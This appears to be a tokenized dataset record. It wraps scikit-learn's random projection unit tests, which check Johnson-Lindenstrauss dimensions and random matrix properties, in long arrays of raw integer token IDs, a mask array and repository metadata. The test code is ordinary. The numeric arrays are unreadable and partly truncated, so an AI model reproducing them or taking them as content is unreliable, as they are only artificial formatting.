199, 533, 15536, 804, 8, 785, 304, 272, 408, 2543, 18234, 7283, 4514, 402, 2462, 14, 6432, 804, 14, 339, 3599, 5880, 365, 26391, 701, 11075, 316, 291, 14, 9325, 63, 1205, 272, 1314, 365, 282, 5046, 626, 14086, 314, 1174, 402, 314, 4650, 14, 221, 16568, 2983, 402, 272, 314, 4650, 12, 10617, 12, 1077, 440, 506, 4224, 3967, 340, 314, 2462, 859, 365, 272, 2066, 1202, 543, 376, 625, 20428, 1124, 831, 8497, 687, 2348, 8826, 4293, 272, 4781, 687, 642, 1021, 440, 9445, 15374, 3102, 14, 339, 408, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 9325, 63, 1205, 275, 756, 339, 347, 16919, 8, 277, 12, 3618, 4173, 29, 403, 304, 267, 408, 11324, 4514, 402, 16919, 1252, 398, 2104, 14592, 4882, 12, 291, 14, 9325, 63, 1205, 365, 5847, 663, 370, 267, 715, 436, 2138, 22497, 4079, 641, 574, 402, 267, 1124, 2573, 4173, 4345, 221, 982, 652, 365, 2222, 13, 13091, 12, 2066, 314, 574, 365, 267, 5965, 7923, 436, 440, 663, 340, 652, 365, 2575, 28320, 14, 221, 961, 267, 365, 1006, 4224, 880, 626, 5796, 14, 9558, 1159, 702, 9834, 267, 10621, 1133, 15572, 436, 7978, 282, 12050, 5542, 14, 398, 408, 267, 340, 3618, 4173, 365, 488, 503, 3618, 4173, 26, 288, 291, 14, 9325, 63, 1205, 275, 715, 288, 372, 715, 267, 587, 26, 288, 340, 440, 291, 14, 9325, 63, 1205, 26, 355, 291, 14, 9325, 63, 1205, 275, 715, 355, 372, 715, 288, 587, 26, 355, 372, 756, 339, 636, 4200, 363, 275, 16919, 339, 347, 636, 2224, 721, 277, 12, 6211, 12, 1139, 12, 7070, 304, 267, 291, 14, 3221, 342, 339, 347, 4683, 8, 277, 304, 267, 408, 9625, 314, 7283, 4650, 1041, 267, 327, 5787, 3492, 17396, 9296, 1133, 5965, 26962, 370, 511, 31, 221, 18615, 12690, 267, 327, 258, 370, 8826, 367, 6114, 12, 25396, 1233, 14, 267, 340, 440, 291, 14, 9325, 63, 1205, 26, 288, 746, 1125, 267, 291, 14, 9325, 63, 1205, 275, 756, 267, 372, 715, 339, 347, 14233, 8, 277, 304, 267, 372, 291, 14, 9325, 63, 1205, 199, 199, 3, 8051, 370, 4673, 626, 26791, 63, 973, 1990, 2797, 315, 282, 298, 2671, 2, 199, 63, 20172, 275, 756, 199, 3, 715, 1380, 440, 14043, 315, 282, 298, 2671, 2, 199, 63, 973, 275, 715, 199, 199, 318, 26791, 63, 973, 837, 272, 408, 1084, 485, 20172, 3305, 370, 715, 370, 1172, 1343, 63, 1222, 63, 2671, 746, 272, 13483, 12188, 24234, 1041, 272, 340, 485, 973, 26, 267, 746, 13483, 272, 587, 26, 267, 2288, 485, 20172, 267, 485, 20172, 275, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 11070, 13, 262, 8343, 367, 314, 2462, 859, 14, 199, 199, 1352, 867, 370, 506, 1202, 465, 282, 330, 6322, 13, 10957, 23080, 880, 626, 25396, 1233, 1630, 199, 1397, 1929, 370, 506, 28286, 367, 1380, 314, 2462, 859, 365, 440, 3451, 14, 199, 199, 51, 17417, 4503, 365, 447, 339, 862, 26, 267, 492, 2462, 272, 871, 3545, 26, 267, 492, 7283, 63, 2671, 465, 2462, 199, 199, 624, 199, 363, 2502, 363, 275, 298, 34, 3292, 84, 445, 1189, 265, 2, 199, 363, 2123, 363, 275, 298, 66, 3292, 84, 32, 1548, 14, 1308, 2, 199, 199, 3, 1316, 5203, 1454, 7645, 2013, 701, 2462, 3794, 199, 3, 334, 27713, 24985, 9560, 5220, 706, 18310, 1062, 1343, 63, 1222, 1062, 4458, 63, 2671, 1012, 199, 363, 452, 363, 275, 788, 705, 297, 283, 928, 63, 1222, 63, 2671, 297, 283, 2224, 297, 283, 362, 63, 5425, 297, 283, 12991, 63, 831, 297, 1779, 283, 20172, 63, 973, 297, 283, 6432, 804, 418, 199, 199, 646, 5190, 465, 485, 6894, 199, 646, 3598, 199, 199, 533, 1125, 8, 1726, 304, 272, 408, 11324, 4514, 402, 2462, 14, 705, 1041, 339, 347, 636, 826, 721, 277, 12, 627, 589, 304, 267, 291, 14, 589, 275, 1249, 199, 199, 318, 1343, 63, 1222, 63, 2671, 8, 1593, 12, 1249, 12, 2074, 16420, 272, 408, 11324, 4514, 402, 2462, 14, 928, 63, 1222, 63, 2671, 1252, 339, 3599, 5880, 365, 26391, 701, 10663, 3238, 626, 1124, 589, 1040, 365, 282, 272, 2008, 436, 1124, 958, 1040, 365, 282, 2600, 14, 221, 982, 376, 1919, 365, 4915, 272, 436, 652, 365, 14838, 334, 6777, 883, 506, 4224, 701, 2462, 14, 2224, 1012, 652, 365, 272, 15604, 436, 6548, 365, 4224, 27, 1006, 1163, 4967, 787, 12487, 734, 272, 701, 1808, 5190, 14, 1361, 63, 2804, 1252, 339, 982, 314, 7934, 805, 4882, 26791, 63, 973, 314, 13483, 911, 506, 272, 4915, 1380, 314, 805, 2529, 14, 339, 408, 272, 340, 730, 8, 589, 9, 1137, 730, 8, 2960, 5109, 267, 746, 3146, 480, 18, 977, 1680, 1471, 506, 282, 2008, 531, 272, 340, 730, 8, 958, 9, 1137, 730, 8, 807, 5109, 267, 746, 3146, 480, 19, 6883, 1680, 1471, 506, 282, 1211, 531, 272, 2288, 485, 973, 272, 485, 973, 275, 756, 272, 862, 26, 267, 805, 2031, 589, 12, 1011, 958, 9, 272, 871, 14838, 26, 267, 986, 272, 871, 26, 267, 485, 6894, 14, 1361, 63, 2804, 342, 272, 485, 973, 275, 715, 272, 2288, 485, 20172, 272, 340, 485, 20172, 26, 267, 485, 20172, 275, 756, 267, 746, 13483, 199, 199, 318, 4458, 837, 272, 408, 11324, 4514, 402, 2462, 14, 2224, 20693, 272, 746, 14838, 199, 199, 318, 664, 63, 5425, 837, 272, 408, 11324, 4514, 402, 2462, 14, 362, 63, 5425, 1252, 339, 9336, 642, 859, 1077, 1454, 506, 1202, 1380, 2462, 578, 365, 440, 272, 2808, 12, 652, 365, 5048, 370, 5534, 626, 314, 1453, 2112, 365, 314, 272, 1454, 2462, 14, 221, 20227, 282, 4413, 883, 506, 19353, 2138, 14, 272, 408, 272, 372, 446, 17, 199, 199, 318, 18310, 63, 831, 837, 272, 408, 11324, 4514, 402, 2462, 14, 12991, 63, 831, 20693, 272, 372, 15536, 804, 342, 199, 199, 318, 3464, 63, 890, 8, 890, 29, 403, 304, 272, 408, 11324, 4514, 402, 2462, 14, 2340, 63, 890, 20693, 272, 340, 1568, 365, 440, 488, 26, 267, 746, 1125, 480, 6031, 2462, 3464, 1568, 440, 3748, 531, 272, 372, 378, 199, 199, 533, 15536, 804, 8, 785, 304, 272, 408, 2543, 18234, 7283, 4514, 402, 2462, 14, 6432, 804, 14, 339, 3599, 5880, 365, 26391, 701, 11075, 316, 291, 14, 9325, 63, 1205, 272, 1314, 365, 282, 5046, 626, 14086, 314, 1174, 402, 314, 4650, 14, 221, 16568, 2983, 402, 272, 314, 4650, 12, 10617, 12, 1077, 440, 506, 4224, 3967, 340, 314, 2462, 859, 365, 272, 2066, 1202, 543, 376, 625, 20428, 1124, 831, 8497, 687, 2348, 8826, 4293, 272, 4781, 687, 642, 1021, 440, 9445, 15374, 3102, 14, 339, 408, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 9325, 63, 1205, 275, 756, 339, 347, 16919, 8, 277, 12, 3618, 4173, 29, 403, 304, 267, 408, 11324, 4514, 402, 16919, 1252, 398, 2104, 14592, 4882, 12, 291, 14, 9325, 63, 1205, 365, 5847, 663, 370, 267, 715, 436, 2138, 22497, 4079, 641, 574, 402, 267, 1124, 2573, 4173, 4345, 221, 982, 652, 365, 2222, 13, 13091, 12, 2066, 314, 574, 365, 267, 5965, 7923, 436, 440, 663, 340, 652, 365, 2575, 28320, 14, 221, 961, 267, 365, 1006, 4224, 880, 626, 5796, 14, 9558, 1159, 702, 9834, 267, 10621, 1133, 15572, 436, 7978, 282, 12050, 5542, 14, 398, 408, 267, 340, 3618, 4173, 365, 488, 503, 3618, 4173, 26, 288, 291, 14, 9325, 63, 1205, 275, 715, 288, 372, 715, 267, 587, 26, 288, 340, 440, 291, 14, 9325, 63, 1205, 26, 355, 291, 14, 9325, 63, 1205, 275, 715, 355, 372, 715, 288, 587, 26, 355, 372, 756, 339, 636, 4200, 363, 275, 16919, 339, 347, 636, 2224, 721, 277, 12, 6211, 12, 1139, 12, 7070, 304, 267, 291, 14, 3221, 342, 339, 347, 4683, 8, 277, 304, 267, 408, 9625, 314, 7283, 4650, 1041, 267, 327, 5787, 3492, 17396, 9296, 1133, 5965, 26962, 370, 511, 31, 221, 18615, 12690, 267, 327, 258, 370, 8826, 367, 6114, 12, 25396, 1233, 14, 267, 340, 440, 291, 14, 9325, 63, 1205, 26, 288, 746, 1125, 267, 291, 14, 9325, 63, 1205, 275, 756, 267, 372, 715, 339, 347, 14233, 8, 277, 304, 267, 372, 291, 14, 9325, 63, 1205, 199, 199, 3, 8051, 370, 4673, 626, 26791, 63, 973, 1990, 2797, 315, 282, 298, 2671, 2, 199, 63, 20172, 275, 756, 199, 3, 715, 1380, 440, 14043, 315, 282, 298, 2671, 2, 199, 63, 973, 275, 715, 199, 199, 318, 26791, 63, 973, 837, 272, 408, 1084, 485, 20172, 3305, 370, 715, 370, 1172, 1343, 63, 1222, 63, 2671, 746, 272, 13483, 12188, 24234, 1041, 272, 340, 485, 973, 26, 267, 746, 13483, 272, 587, 26, 267, 2288, 485, 20172, 267, 485, 20172, 275, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0 ]
huzq/scikit-learn
sklearn/tests/test_random_projection.py
9
13850
import functools from typing import List, Any import numpy as np import scipy.sparse as sp import pytest from sklearn.metrics import euclidean_distances from sklearn.random_projection import johnson_lindenstrauss_min_dim from sklearn.random_projection import _gaussian_random_matrix from sklearn.random_projection import _sparse_random_matrix from sklearn.random_projection import SparseRandomProjection from sklearn.random_projection import GaussianRandomProjection from sklearn.utils._testing import assert_raises from sklearn.utils._testing import assert_raise_message from sklearn.utils._testing import assert_array_equal from sklearn.utils._testing import assert_almost_equal from sklearn.utils._testing import assert_array_almost_equal from sklearn.utils._testing import assert_warns from sklearn.exceptions import DataDimensionalityWarning all_sparse_random_matrix: List[Any] = [_sparse_random_matrix] all_dense_random_matrix: List[Any] = [_gaussian_random_matrix] all_random_matrix = all_sparse_random_matrix + all_dense_random_matrix all_SparseRandomProjection: List[Any] = [SparseRandomProjection] all_DenseRandomProjection: List[Any] = [GaussianRandomProjection] all_RandomProjection = set(all_SparseRandomProjection + all_DenseRandomProjection) # Make some random data with uniformly located non zero entries with # Gaussian distributed values def make_sparse_random_data(n_samples, n_features, n_nonzeros): rng = np.random.RandomState(0) data_coo = sp.coo_matrix( (rng.randn(n_nonzeros), (rng.randint(n_samples, size=n_nonzeros), rng.randint(n_features, size=n_nonzeros))), shape=(n_samples, n_features)) return data_coo.toarray(), data_coo.tocsr() def densify(matrix): if not sp.issparse(matrix): return matrix else: return matrix.toarray() n_samples, n_features = (10, 1000) n_nonzeros = int(n_samples * n_features / 100.) data, data_csr = make_sparse_random_data(n_samples, n_features, n_nonzeros) ############################################################################### # test on JL lemma ############################################################################### def test_invalid_jl_domain(): assert_raises(ValueError, johnson_lindenstrauss_min_dim, 100, eps=1.1) assert_raises(ValueError, johnson_lindenstrauss_min_dim, 100, eps=0.0) assert_raises(ValueError, johnson_lindenstrauss_min_dim, 100, eps=-0.1) assert_raises(ValueError, johnson_lindenstrauss_min_dim, 0, eps=0.5) def test_input_size_jl_min_dim(): assert_raises(ValueError, johnson_lindenstrauss_min_dim, 3 * [100], eps=2 * [0.9]) assert_raises(ValueError, johnson_lindenstrauss_min_dim, 3 * [100], eps=2 * [0.9]) johnson_lindenstrauss_min_dim(np.random.randint(1, 10, size=(10, 10)), eps=np.full((10, 10), 0.5)) ############################################################################### # tests random matrix generation ############################################################################### def check_input_size_random_matrix(random_matrix): assert_raises(ValueError, random_matrix, 0, 0) assert_raises(ValueError, random_matrix, -1, 1) assert_raises(ValueError, random_matrix, 1, -1) assert_raises(ValueError, random_matrix, 1, 0) assert_raises(ValueError, random_matrix, -1, 0) def check_size_generated(random_matrix): assert random_matrix(1, 5).shape == (1, 5) assert random_matrix(5, 1).shape == (5, 1) assert random_matrix(5, 5).shape == (5, 5) assert random_matrix(1, 1).shape == (1, 1) def check_zero_mean_and_unit_norm(random_matrix): # All random matrix should produce a transformation matrix # with zero mean and unit norm for each columns A = densify(random_matrix(10000, 1, random_state=0)) assert_array_almost_equal(0, np.mean(A), 3) assert_array_almost_equal(1.0, np.linalg.norm(A), 1) def check_input_with_sparse_random_matrix(random_matrix): n_components, n_features = 5, 10 for density in [-1., 0.0, 1.1]: assert_raises(ValueError, random_matrix, n_components, n_features, density=density) @pytest.mark.parametrize("random_matrix", all_random_matrix) def test_basic_property_of_random_matrix(random_matrix): # Check basic properties of random matrix generation check_input_size_random_matrix(random_matrix) check_size_generated(random_matrix) check_zero_mean_and_unit_norm(random_matrix) @pytest.mark.parametrize("random_matrix", all_sparse_random_matrix) def test_basic_property_of_sparse_random_matrix(random_matrix): check_input_with_sparse_random_matrix(random_matrix) random_matrix_dense = functools.partial(random_matrix, density=1.0) check_zero_mean_and_unit_norm(random_matrix_dense) def test_gaussian_random_matrix(): # Check some statical properties of Gaussian random matrix # Check that the random matrix follow the proper distribution. # Let's say that each element of a_{ij} of A is taken from # a_ij ~ N(0.0, 1 / n_components). # n_components = 100 n_features = 1000 A = _gaussian_random_matrix(n_components, n_features, random_state=0) assert_array_almost_equal(0.0, np.mean(A), 2) assert_array_almost_equal(np.var(A, ddof=1), 1 / n_components, 1) def test_sparse_random_matrix(): # Check some statical properties of sparse random matrix n_components = 100 n_features = 500 for density in [0.3, 1.]: s = 1 / density A = _sparse_random_matrix(n_components, n_features, density=density, random_state=0) A = densify(A) # Check possible values values = np.unique(A) assert np.sqrt(s) / np.sqrt(n_components) in values assert - np.sqrt(s) / np.sqrt(n_components) in values if density == 1.0: assert np.size(values) == 2 else: assert 0. in values assert np.size(values) == 3 # Check that the random matrix follow the proper distribution. # Let's say that each element of a_{ij} of A is taken from # # - -sqrt(s) / sqrt(n_components) with probability 1 / 2s # - 0 with probability 1 - 1 / s # - +sqrt(s) / sqrt(n_components) with probability 1 / 2s # assert_almost_equal(np.mean(A == 0.0), 1 - 1 / s, decimal=2) assert_almost_equal(np.mean(A == np.sqrt(s) / np.sqrt(n_components)), 1 / (2 * s), decimal=2) assert_almost_equal(np.mean(A == - np.sqrt(s) / np.sqrt(n_components)), 1 / (2 * s), decimal=2) assert_almost_equal(np.var(A == 0.0, ddof=1), (1 - 1 / s) * 1 / s, decimal=2) assert_almost_equal(np.var(A == np.sqrt(s) / np.sqrt(n_components), ddof=1), (1 - 1 / (2 * s)) * 1 / (2 * s), decimal=2) assert_almost_equal(np.var(A == - np.sqrt(s) / np.sqrt(n_components), ddof=1), (1 - 1 / (2 * s)) * 1 / (2 * s), decimal=2) ############################################################################### # tests on random projection transformer ############################################################################### def test_sparse_random_projection_transformer_invalid_density(): for RandomProjection in all_SparseRandomProjection: assert_raises(ValueError, RandomProjection(density=1.1).fit, data) assert_raises(ValueError, RandomProjection(density=0).fit, data) assert_raises(ValueError, RandomProjection(density=-0.1).fit, data) def test_random_projection_transformer_invalid_input(): for RandomProjection in all_RandomProjection: assert_raises(ValueError, RandomProjection(n_components='auto').fit, [[0, 1, 2]]) assert_raises(ValueError, RandomProjection(n_components=-10).fit, data) def test_try_to_transform_before_fit(): for RandomProjection in all_RandomProjection: assert_raises(ValueError, RandomProjection(n_components='auto').transform, data) def test_too_many_samples_to_find_a_safe_embedding(): data, _ = make_sparse_random_data(1000, 100, 1000) for RandomProjection in all_RandomProjection: rp = RandomProjection(n_components='auto', eps=0.1) expected_msg = ( 'eps=0.100000 and n_samples=1000 lead to a target dimension' ' of 5920 which is larger than the original space with' ' n_features=100') assert_raise_message(ValueError, expected_msg, rp.fit, data) def test_random_projection_embedding_quality(): data, _ = make_sparse_random_data(8, 5000, 15000) eps = 0.2 original_distances = euclidean_distances(data, squared=True) original_distances = original_distances.ravel() non_identical = original_distances != 0.0 # remove 0 distances to avoid division by 0 original_distances = original_distances[non_identical] for RandomProjection in all_RandomProjection: rp = RandomProjection(n_components='auto', eps=eps, random_state=0) projected = rp.fit_transform(data) projected_distances = euclidean_distances(projected, squared=True) projected_distances = projected_distances.ravel() # remove 0 distances to avoid division by 0 projected_distances = projected_distances[non_identical] distances_ratio = projected_distances / original_distances # check that the automatically tuned values for the density respect the # contract for eps: pairwise distances are preserved according to the # Johnson-Lindenstrauss lemma assert distances_ratio.max() < 1 + eps assert 1 - eps < distances_ratio.min() def test_SparseRandomProjection_output_representation(): for SparseRandomProjection in all_SparseRandomProjection: # when using sparse input, the projected data can be forced to be a # dense numpy array rp = SparseRandomProjection(n_components=10, dense_output=True, random_state=0) rp.fit(data) assert isinstance(rp.transform(data), np.ndarray) sparse_data = sp.csr_matrix(data) assert isinstance(rp.transform(sparse_data), np.ndarray) # the output can be left to a sparse matrix instead rp = SparseRandomProjection(n_components=10, dense_output=False, random_state=0) rp = rp.fit(data) # output for dense input will stay dense: assert isinstance(rp.transform(data), np.ndarray) # output for sparse output will be sparse: assert sp.issparse(rp.transform(sparse_data)) def test_correct_RandomProjection_dimensions_embedding(): for RandomProjection in all_RandomProjection: rp = RandomProjection(n_components='auto', random_state=0, eps=0.5).fit(data) # the number of components is adjusted from the shape of the training # set assert rp.n_components == 'auto' assert rp.n_components_ == 110 if RandomProjection in all_SparseRandomProjection: assert rp.density == 'auto' assert_almost_equal(rp.density_, 0.03, 2) assert rp.components_.shape == (110, n_features) projected_1 = rp.transform(data) assert projected_1.shape == (n_samples, 110) # once the RP is 'fitted' the projection is always the same projected_2 = rp.transform(data) assert_array_equal(projected_1, projected_2) # fit transform with same random seed will lead to the same results rp2 = RandomProjection(random_state=0, eps=0.5) projected_3 = rp2.fit_transform(data) assert_array_equal(projected_1, projected_3) # Try to transform with an input X of size different from fitted. assert_raises(ValueError, rp.transform, data[:, 1:5]) # it is also possible to fix the number of components and the density # level if RandomProjection in all_SparseRandomProjection: rp = RandomProjection(n_components=100, density=0.001, random_state=0) projected = rp.fit_transform(data) assert projected.shape == (n_samples, 100) assert rp.components_.shape == (100, n_features) assert rp.components_.nnz < 115 # close to 1% density assert 85 < rp.components_.nnz # close to 1% density def test_warning_n_components_greater_than_n_features(): n_features = 20 data, _ = make_sparse_random_data(5, n_features, int(n_features / 4)) for RandomProjection in all_RandomProjection: assert_warns(DataDimensionalityWarning, RandomProjection(n_components=n_features + 1).fit, data) def test_works_with_sparse_data(): n_features = 20 data, _ = make_sparse_random_data(5, n_features, int(n_features / 4)) for RandomProjection in all_RandomProjection: rp_dense = RandomProjection(n_components=3, random_state=1).fit(data) rp_sparse = RandomProjection(n_components=3, random_state=1).fit(sp.csr_matrix(data)) assert_array_almost_equal(densify(rp_dense.components_), densify(rp_sparse.components_))
bsd-3-clause
[ 199, 646, 9143, 199, 504, 14090, 492, 3820, 12, 6184, 199, 199, 646, 2680, 465, 980, 199, 646, 7026, 14, 4421, 465, 2249, 199, 646, 4613, 199, 199, 504, 6357, 14, 6759, 492, 325, 24941, 63, 15482, 199, 199, 504, 6357, 14, 2355, 63, 16539, 492, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 199, 504, 6357, 14, 2355, 63, 16539, 492, 485, 22911, 63, 2355, 63, 3642, 199, 504, 6357, 14, 2355, 63, 16539, 492, 485, 4421, 63, 2355, 63, 3642, 199, 504, 6357, 14, 2355, 63, 16539, 492, 14531, 3883, 23706, 199, 504, 6357, 14, 2355, 63, 16539, 492, 17131, 3883, 23706, 199, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 3536, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 3730, 63, 1188, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 1144, 63, 1452, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 4398, 63, 1452, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 1144, 63, 4398, 63, 1452, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 19811, 199, 504, 6357, 14, 3924, 492, 3918, 17905, 6712, 3849, 199, 199, 452, 63, 4421, 63, 2355, 63, 3642, 26, 3820, 59, 9874, 61, 275, 15500, 4421, 63, 2355, 63, 3642, 61, 199, 452, 63, 7253, 63, 2355, 63, 3642, 26, 3820, 59, 9874, 61, 275, 15500, 22911, 63, 2355, 63, 3642, 61, 199, 452, 63, 2355, 63, 3642, 275, 1006, 63, 4421, 63, 2355, 63, 3642, 435, 1006, 63, 7253, 63, 2355, 63, 3642, 199, 199, 452, 63, 8629, 3883, 23706, 26, 3820, 59, 9874, 61, 275, 359, 8629, 3883, 23706, 61, 199, 452, 63, 15327, 3883, 23706, 26, 3820, 59, 9874, 61, 275, 359, 26756, 3883, 23706, 61, 199, 452, 63, 3883, 23706, 275, 663, 8, 452, 63, 8629, 3883, 23706, 435, 2574, 1006, 63, 15327, 3883, 23706, 9, 421, 199, 3, 4155, 2005, 2196, 666, 543, 14818, 590, 16180, 2222, 4697, 4811, 543, 199, 3, 17131, 1854, 1338, 199, 318, 1852, 63, 4421, 63, 2355, 63, 576, 8, 78, 63, 3356, 12, 302, 63, 3179, 12, 302, 63, 2865, 4250, 304, 272, 9038, 275, 980, 14, 2355, 14, 15726, 8, 16, 9, 272, 666, 63, 22684, 275, 2249, 14, 22684, 63, 3642, 8, 267, 334, 12686, 14, 10843, 8, 78, 63, 2865, 4250, 395, 268, 334, 12686, 14, 8393, 8, 78, 63, 3356, 12, 1568, 29, 78, 63, 2865, 4250, 395, 881, 9038, 14, 8393, 8, 78, 63, 3179, 12, 1568, 29, 78, 63, 2865, 4250, 11508, 267, 2215, 2687, 78, 63, 3356, 12, 302, 63, 3179, 430, 272, 372, 666, 63, 22684, 14, 18993, 1062, 666, 63, 22684, 14, 475, 10101, 342, 421, 199, 318, 5376, 338, 1399, 8, 3642, 304, 272, 340, 440, 2249, 14, 30962, 8, 3642, 304, 267, 372, 3634, 272, 587, 26, 267, 372, 3634, 14, 18993, 342, 421, 199, 78, 63, 3356, 12, 302, 63, 3179, 275, 334, 709, 12, 5198, 9, 199, 78, 63, 2865, 4250, 275, 1109, 8, 78, 63, 3356, 627, 302, 63, 3179, 1182, 2948, 4959, 199, 576, 12, 666, 63, 10101, 275, 1852, 63, 4421, 63, 2355, 63, 576, 8, 78, 63, 3356, 12, 302, 63, 3179, 12, 302, 63, 2865, 4250, 9, 421, 199, 11490, 199, 3, 511, 641, 1603, 44, 1026, 77, 391, 199, 11490, 199, 318, 511, 63, 3197, 63, 74, 76, 63, 2261, 837, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2948, 12, 10245, 29, 17, 14, 17, 9, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2948, 12, 10245, 29, 16, 14, 16, 9, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2948, 12, 10245, 4022, 16, 14, 17, 9, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 378, 12, 10245, 29, 16, 14, 21, 9, 421, 199, 318, 511, 63, 1210, 63, 890, 63, 74, 76, 63, 827, 63, 3572, 837, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2116, 650, 627, 359, 1960, 467, 10245, 29, 18, 627, 359, 16, 14, 25, 566, 339, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 650, 627, 359, 1960, 467, 2116, 10245, 29, 18, 627, 359, 16, 14, 25, 566, 339, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 8, 1590, 14, 2355, 14, 8393, 8, 17, 12, 1616, 12, 1568, 2687, 709, 12, 1616, 1826, 3303, 10245, 29, 1590, 14, 2861, 1332, 709, 12, 1616, 395, 378, 14, 21, 430, 421, 199, 11490, 199, 3, 2295, 2196, 3634, 10152, 199, 11490, 199, 318, 1104, 63, 1210, 63, 890, 63, 2355, 63, 3642, 8, 2355, 63, 3642, 304, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 378, 12, 378, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 446, 17, 12, 413, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 413, 12, 446, 17, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 413, 12, 378, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 446, 17, 12, 378, 9, 421, 199, 318, 1104, 63, 890, 63, 10176, 8, 2355, 63, 3642, 304, 272, 702, 2196, 63, 3642, 8, 17, 12, 959, 680, 1392, 508, 334, 17, 12, 959, 9, 272, 702, 2196, 63, 3642, 8, 21, 12, 413, 680, 1392, 508, 334, 21, 12, 413, 9, 272, 702, 2196, 63, 3642, 8, 21, 12, 959, 680, 1392, 508, 334, 21, 12, 959, 9, 272, 702, 2196, 63, 3642, 8, 17, 12, 413, 680, 1392, 508, 334, 17, 12, 413, 9, 421, 199, 318, 1104, 63, 4262, 63, 3670, 63, 460, 63, 3248, 63, 4791, 8, 2355, 63, 3642, 304, 272, 327, 2900, 2196, 3634, 1077, 7389, 282, 13315 ]
[ 646, 9143, 199, 504, 14090, 492, 3820, 12, 6184, 199, 199, 646, 2680, 465, 980, 199, 646, 7026, 14, 4421, 465, 2249, 199, 646, 4613, 199, 199, 504, 6357, 14, 6759, 492, 325, 24941, 63, 15482, 199, 199, 504, 6357, 14, 2355, 63, 16539, 492, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 199, 504, 6357, 14, 2355, 63, 16539, 492, 485, 22911, 63, 2355, 63, 3642, 199, 504, 6357, 14, 2355, 63, 16539, 492, 485, 4421, 63, 2355, 63, 3642, 199, 504, 6357, 14, 2355, 63, 16539, 492, 14531, 3883, 23706, 199, 504, 6357, 14, 2355, 63, 16539, 492, 17131, 3883, 23706, 199, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 3536, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 3730, 63, 1188, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 1144, 63, 1452, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 4398, 63, 1452, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 1144, 63, 4398, 63, 1452, 199, 504, 6357, 14, 1208, 423, 4776, 492, 702, 63, 19811, 199, 504, 6357, 14, 3924, 492, 3918, 17905, 6712, 3849, 199, 199, 452, 63, 4421, 63, 2355, 63, 3642, 26, 3820, 59, 9874, 61, 275, 15500, 4421, 63, 2355, 63, 3642, 61, 199, 452, 63, 7253, 63, 2355, 63, 3642, 26, 3820, 59, 9874, 61, 275, 15500, 22911, 63, 2355, 63, 3642, 61, 199, 452, 63, 2355, 63, 3642, 275, 